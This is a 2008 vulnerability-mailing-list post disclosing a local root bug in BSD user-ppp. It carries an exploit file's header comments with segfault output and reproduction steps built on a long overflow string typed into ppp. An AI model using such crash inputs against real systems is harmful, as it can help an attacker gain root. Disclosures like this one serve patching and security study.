*BSD user-ppp local root (when conditions permit)

[email protected] 29 Feb 2008 16:39:03 -0000
Newsgroups gmane.comp.security.vulnerabilities
Message-ID <[email protected]>
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/***     pppx.conf - Point to Point Protocol (a.k.a. user-ppp) exploit by=
 sipher ***/=0D
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/***     2003 / 12 /23   - PRIVATE CODE                                  =
        ***/=0D
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/***     Program terminated with signal 11, Segmentation fault.          =
        ***/=0D
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/***     #0  0xbeefdead in ?? ()                                         =
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I just tested this on FreeBSD 6.3. This bug was discovered on NetBSD. It =
also works on OpenBSD (unconfirmed on 4.2)=0D
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Steps to reproduce:=0D
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1. Run ppp=0D
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2. type the following (or atleat some variation of)=0D
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~/~/~/~/~/~/~/~/~/~/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=
xxx=0D
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This will produce a segmentation violation (Core dumped).=0D
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Discovered by: sipher=0D
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Shouts: princess^pookie,spithash,burnout,#codemasters,#hackers@dalnet